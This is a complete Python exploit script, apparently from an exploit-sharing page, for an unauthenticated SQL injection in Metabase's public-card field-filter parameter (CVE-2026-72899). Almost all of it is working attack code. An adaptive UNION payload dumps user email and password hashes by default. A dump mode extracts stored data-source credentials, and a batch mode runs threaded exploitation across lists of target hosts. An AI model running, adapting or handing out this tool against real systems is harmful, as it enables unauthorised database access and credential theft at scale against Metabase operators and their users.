📄 Metabase 0.63.4 SQL Injection

#!/usr/bin/env python3
    """
    CVE-2026-72899 - Metabase unauthenticated SQL injection via public-sharing field filter
    Affected: Metabase OSS/EE 0.58.0-0.58.23, 0.59.0-0.59.20, 0.60.0-0.60.16,
              0.61.0-0.61.10, 0.62.0-0.62.8, 0.63.0-0.63.4 (EE uses the 1.x prefix)
    Fixed:    0.58.24 / 0.59.21 / 0.60.17 / 0.61.11 / 0.62.9 / 0.63.5
    Type:     SQL injection (unauthenticated, network)
    
    A public shared card whose native SQL carries a field-filter (dimension) template
    tag accepts a caller-supplied `parameters` value that has no schema constraint. A
    value shaped as a one-element list containing a JSON object survives into Metabase's
    HoneySQL compiler, where a map is interpreted as query structure rather than a bound
    value: the `{"raw": "<sql>"}` clause emits its string verbatim into the compiled SQL.
    The value stops being a value and becomes SQL. The query runs with superuser rights
    over the shared card's own database connection, so when that database is Metabase's
    application database the attacker reads core_user password hashes and stored
    data-source credentials. No authentication is needed - only the public link UUID,
    which is part of the shared URL by design.
    
    The injected snippet lands inside `WHERE (<col> = (<raw>))`, so a bare scalar
    subquery `(SELECT version())` needs no paren balancing. This tool uses a derived-table
    UNION that adapts its column count and text-column position to whatever the public
    card returns, so it works against arbitrary vulnerable cards, not just the lab card.
    
    Usage:
      python exploit.py --host 127.0.0.1 --port 3300 --uuid <public-card-uuid>
      python exploit.py --host http://target:3000 --uuid <uuid> --payload "SELECT email || ':' || password FROM core_user"
      python exploit.py --host https://metabase.corp.com --uuid <uuid> --dump
      python exploit.py --list targets.txt --workers 20 --uuid <uuid>
    
    The default payload reads Metabase's own user table (email + bcrypt password hash),
    which is data the shared card can never return and is therefore unambiguous proof.
    """
    
    import argparse
    import json
    import ssl
    import sys
    import urllib.error
    import urllib.parse
    import urllib.request
    
    CVE_ID    = "CVE-2026-72899"
    VULN_TYPE = "SQLi"
    
    # Data the shared card's own SQL can never produce. Reading it proves injection.
    DEFAULT_PAYLOAD = "SELECT email || ' | ' || password FROM core_user"
    # A build-agnostic oracle: the DB version banner cannot appear in a normal card result.
    VERSION_PROBE   = "SELECT version()"
    
    
    def header(host, port):
        print("\n%s" % ("=" * 60))
        print("  ALIM EXPLOIT  %s" % CVE_ID)
        print("  Type: %s  |  Target: %s:%s" % (VULN_TYPE, host, port))
        print("%s\n" % ("=" * 60))
    
    
    def step(n, msg):
        print("[STEP %d] %s" % (n, msg))
    
    
    def section(label, content):
        print("\n--- %s ---" % label)
        print(str(content).strip())
        print("---\n")
    
    
    def done(success, evidence):
        print("\n%s" % ("=" * 60))
        print("  RESULT  : %s" % ("SUCCESS" if success else "FAILURE"))
        print("  EVIDENCE: %s" % evidence)
        print("%s\n" % ("=" * 60))
        sys.exit(0 if success else 1)
    
    
    # --------------------------------------------------------------------------- #
    # HTTP helpers (stdlib only, so the tool has zero third-party dependencies)
    # --------------------------------------------------------------------------- #
    
    def _base_url(host, port, use_tls, path):
        """Build the scheme://host:port prefix, honouring a full-URL --host."""
        if host.startswith(("http://", "https://")):
            p = urllib.parse.urlparse(host)
            scheme = p.scheme
            netloc = p.netloc
            base_path = p.path.rstrip("/")
            return "%s://%s%s" % (scheme, netloc, base_path)
        scheme = "https" if use_tls else "http"
        return "%s://%s:%d%s" % (scheme, host, port, path.rstrip("/") if path not in ("", "/") else "")
    
    
    def _get_json(url, timeout=40):
        """GET a URL, return (status_code, parsed_json_or_None, raw_text)."""
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        req = urllib.request.Request(url, headers={"Accept": "application/json"})
        try:
            r = urllib.request.urlopen(req, timeout=timeout, context=ctx)
            raw = r.read().decode("utf-8", "replace")
            code = r.getcode()
        except urllib.error.HTTPError as e:
            raw = e.read().decode("utf-8", "replace")
            code = e.code
        try:
            return code, json.loads(raw), raw
        except ValueError:
            return code, None, raw
    
    
    def _query_url(base, uuid, params):
        q = urllib.parse.urlencode({"parameters": json.dumps(params)})
        return "%s/api/public/card/%s/query?%s" % (base, uuid, q)
    
    
    def _fetch_card(base, uuid, timeout):
        """Read the public card metadata and return its dimension parameter, or None."""
        code, data, _ = _get_json("%s/api/public/card/%s" % (base, uuid), timeout)
        if code != 200 or not isinstance(data, dict):
            return None
        for p in data.get("parameters", []):
            target = p.get("target")
            if isinstance(target, list) and target and target[0] == "dimension":
                tag = None
                try:
                    tag = target[1][1]
                except (IndexError, TypeError):
                    pass
                return {"id": p.get("id"), "type": p.get("type") or "string/=", "tag": tag}
        return None
    
    
    def _run(base, uuid, param, value, timeout):
        """Run the public card query with a given parameter value. Returns parsed JSON."""
        params = [{
            "id": param["id"],
            "type": param["type"],
            "target": ["dimension", ["template-tag", param["tag"]]],
            "value": value,
        }]
        code, data, raw = _get_json(_query_url(base, uuid, params), timeout)
        return code, data, raw
    
    
    def _rows(data):
        if isinstance(data, dict):
            return data.get("data", {}).get("rows", []) or []
        return []
    
    
    def _build_injection(sql_select, ncols, text_idx):
        """
        Wrap an attacker SELECT into the field-filter operator snippet.
    
        The compiler emits  WHERE (<col> = (<raw>)).  We close both parens, UNION a
        derived table so an arbitrary multi-row SELECT works, and re-open a trailing
        WHERE( so the compiler's own closing parens land on a truthy predicate. Column
        count and the text-column slot are matched to the real card so UNION type
        resolution succeeds against any vulnerable card, not just the lab one.
        """
        cols = []
        for i in range(ncols):
            cols.append("t.v::text" if i == text_idx else "NULL")
        select_list = ", ".join(cols)
        return ("'zz')) UNION ALL SELECT %s FROM (%s) AS t(v) WHERE ((1=1"
                % (select_list, sql_select))
    
    
    def _card_shape(base, uuid, param, timeout):
        """
        Learn the card's column count and which column is text-typed, from a benign
        baseline request. Returns (ncols, text_idx, baseline_rowcount).
        """
        code, data, _ = _run(base, uuid, param, ["__poc_baseline__"], timeout)
        cols = []
        if isinstance(data, dict):
            cols = data.get("data", {}).get("cols", []) or []
        ncols = len(cols) if cols else 3
        text_idx = 0
        for i, c in enumerate(cols):
            t = (c.get("base_type") or c.get("effective_type") or "")
            if "Text" in t or "Char" in t:
                text_idx = i
                break
        else:
            # No obviously-text column; column 0 is the safest ::text landing spot.
            text_idx = 0
        return ncols, text_idx, len(_rows(data))
    
    
    # --------------------------------------------------------------------------- #
    # Silent probe for --list scan mode
    # --------------------------------------------------------------------------- #
    
    def _try_exploit(host, port, use_tls, uuid=None, path="/", timeout=25, **_):
        """
        Silent exploitability probe. Returns (success, evidence). Never prints/exits.
        Uses the DB version banner as a build-agnostic oracle: a patched build nils the
        map value and returns the plain card result (no version string); a vulnerable
        build compiles it and returns the banner.
        """
        if not uuid:
            return False, "no --uuid supplied for scan"
        base = _base_url(host, port, use_tls, path)
        try:
            param = _fetch_card(base, uuid, timeout)
            if not param:
                return False, "no public dimension parameter (not shareable/not vulnerable/bad uuid)"
            ncols, text_idx, _ = _card_shape(base, uuid, param, timeout)
            inj = _build_injection(VERSION_PROBE, ncols, text_idx)
            _, data, _ = _run(base, uuid, param, [{"raw": inj}], timeout)
            for row in _rows(data):
                for cell in row:
                    if isinstance(cell, str) and (
                            "PostgreSQL" in cell or "MySQL" in cell or "MariaDB" in cell
                            or "Microsoft SQL Server" in cell or "SQLite" in cell):
                        return True, "SQLi confirmed - DB banner leaked: %s" % cell.split(",")[0][:70]
            return False, "value bound as parameter - patched or not a field-filter card"
        except Exception as e:
            return False, "unreachable (%s)" % e.__class__.__name__
    
    
    # --------------------------------------------------------------------------- #
    # Target parsing / scan
    # --------------------------------------------------------------------------- #
    
    def _parse_target(line, default_port, default_path="/"):
        line = line.strip()
        if not line or line.startswith("#"):
            return None
        if line.startswith(("http://", "https://")):
            p = urllib.parse.urlparse(line)
            tls = p.scheme == "https"
            path = p.path if (p.path and p.path not in ("", "/")) else default_path
            return p.hostname, p.port or (443 if tls else default_port), tls, path
        if ":" in line:
            parts = line.rsplit(":", 1)
            try:
                port = int(parts[1])
                return parts[0], port, port in (443, 8443), default_path
            except ValueError:
                pass
        return line, default_port, default_port in (443, 8443), default_path
    
    
    def scan(targets_file, default_port, workers=10, uuid=None):
        import concurrent.futures
    
        with open(targets_file) as f:
            targets = [_parse_target(l, default_port) for l in f]
        targets = [t for t in targets if t is not None]
    
        print("\n%s" % ("=" * 60))
        print("  %s - Batch Scan  (%d targets, %d workers)" % (CVE_ID, len(targets), workers))
        print("%s\n" % ("=" * 60))
    
        success_count = 0
    
        def probe(t):
            host, port, use_tls, path = t
            label = "%s://%s:%d" % ("https" if use_tls else "http", host, port)
            ok, evidence = _try_exploit(host, port, use_tls, uuid=uuid, path=path)
            return label, ok, evidence
    
        with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
            futures = {ex.submit(probe, t): t for t in targets}
            for fut in concurrent.futures.as_completed(futures):
                label, ok, evidence = fut.result()
                print("  %s %s - %s: %s" % ("[+]" if ok else "[-]", label,
                                            "Exploited" if ok else "Not vulnerable", evidence))
                if ok:
                    success_count += 1
    
        total = len(targets)
        print("\n%s" % ("=" * 60))
        print("  SCAN COMPLETE  %d exploited / %d not vulnerable  (%d total)"
              % (success_count, total - success_count, total))
        print("%s\n" % ("=" * 60))
        sys.exit(0 if success_count > 0 else 1)
    
    
    # --------------------------------------------------------------------------- #
    # Single-target exploit
    # --------------------------------------------------------------------------- #
    
    def exploit(host, port, use_tls, uuid, payload, path="/", dump=False, timeout=40):
        header(host, port)
        base = _base_url(host, port, use_tls, path)
    
        if not uuid:
            done(False, "no --uuid supplied - pass the public card link UUID (the last path segment of /public/question/<uuid>)")
    
        step(1, "Reading public card metadata for %s ..." % uuid)
        param = _fetch_card(base, uuid, timeout)
        if not param:
            section("RECON", "No public dimension (field-filter) parameter found.")
            done(False, "card is not publicly shared, has no field-filter parameter, or the UUID is wrong")
        section("FIELD-FILTER PARAMETER",
                "id=%s  type=%s  template-tag=%s" % (param["id"], param["type"], param["tag"]))
    
        step(2, "Establishing a benign baseline (learning column layout) ...")
        ncols, text_idx, baseline_rows = _card_shape(base, uuid, param, timeout)
        section("BASELINE",
                "card returns %d column(s); text column at index %d; baseline string value -> %d row(s)"
                % (ncols, text_idx, baseline_rows))
    
        step(3, "Injecting DB version() probe (build-agnostic oracle) ...")
        vinj = _build_injection(VERSION_PROBE, ncols, text_idx)
        code, vdata, vraw = _run(base, uuid, param, [{"raw": vinj}], timeout)
        banner = None
        for row in _rows(vdata):
            for cell in row:
                if isinstance(cell, str) and any(k in cell for k in
                        ("PostgreSQL", "MySQL", "MariaDB", "Microsoft SQL Server", "SQLite")):
                    banner = cell
                    break
            if banner:
                break
        if not banner:
            status = vdata.get("status") if isinstance(vdata, dict) else None
            section("VERSION PROBE RESPONSE", vraw[:600])
            done(False, "value was bound as a parameter (status=%s) - target is patched or the tag is not a field filter" % status)
        section("DB VERSION (leaked via injection)", banner)
    
        step(4, "Executing attacker SQL: %s" % payload)
        inj = _build_injection(payload, ncols, text_idx)
        code, data, raw = _run(base, uuid, param, [{"raw": inj}], timeout)
        rows = _rows(data)
        status = data.get("status") if isinstance(data, dict) else None
    
        if status == "completed" and rows:
            leaked = [str(c) for r in rows for c in r if c is not None]
            section("INJECTED QUERY OUTPUT (%d row(s))" % len(rows),
                    "\n".join(leaked[:200]) if leaked else json.dumps(rows[:50]))
            if dump:
                _dump_app_db(base, uuid, param, ncols, text_idx, timeout)
            done(True, "SQL injection confirmed - %d row(s) returned by attacker SQL; DB banner: %s"
                 % (len(rows), banner.split(",")[0][:60]))
    
        # Reached the DB but the supplied SQL is malformed - the bug still fired.
        err = data.get("error") if isinstance(data, dict) else None
        section("INJECTED QUERY RESPONSE", raw[:600])
        if status == "failed" and err:
            done(True, "SQL injection confirmed - version() leaked (%s); custom --payload SQL raised a DB error, adjust it. Banner: %s"
                 % ("reached DB", banner.split(",")[0][:60]))
        done(False, "version() leaked but --payload returned no rows - refine the SQL")
    
    
    def _dump_app_db(base, uuid, param, ncols, text_idx, timeout):
        """Convenience dump of the highest-value application-DB tables."""
        dumps = [
            ("core_user (credentials)",
             "SELECT email || ' | is_superuser=' || is_superuser || ' | ' || password FROM core_user"),
            ("metabase_database (stored data-source secrets)",
             "SELECT name || ' | ' || engine || ' | ' || details::text FROM metabase_database"),
        ]
        for label, sql in dumps:
            inj = _build_injection(sql, ncols, text_idx)
            _, data, _ = _run(base, uuid, param, [{"raw": inj}], timeout)
            vals = [str(c) for r in _rows(data) for c in r if c is not None]
            if vals:
                section("DUMP: %s" % label, "\n".join(vals[:200]))
    
    
    # --------------------------------------------------------------------------- #
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
        target_grp = parser.add_mutually_exclusive_group(required=True)
        target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:3000)")
        target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
        parser.add_argument("--port", type=int, default=3000, help="Default port (default: 3000)")
        parser.add_argument("--uuid", help="Public card link UUID (required for --host and --list modes)")
        parser.add_argument("--payload", default=DEFAULT_PAYLOAD,
                            help="SQL SELECT to run on the target DB (default: dump core_user email+password hash)")
        parser.add_argument("--dump", action="store_true",
                            help="After confirming, also dump core_user and metabase_database secrets")
        parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
        tls_grp = parser.add_mutually_exclusive_group()
        tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
        tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
        args = parser.parse_args()
    
        if args.list:
            scan(args.list, default_port=args.port, workers=args.workers, uuid=args.uuid)
        else:
            parsed = _parse_target(args.host, args.port)
            host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
            if args.tls:
                use_tls = True
            if args.no_tls:
                use_tls = False
            exploit(host, port, use_tls, args.uuid, args.payload, path=path, dump=args.dump)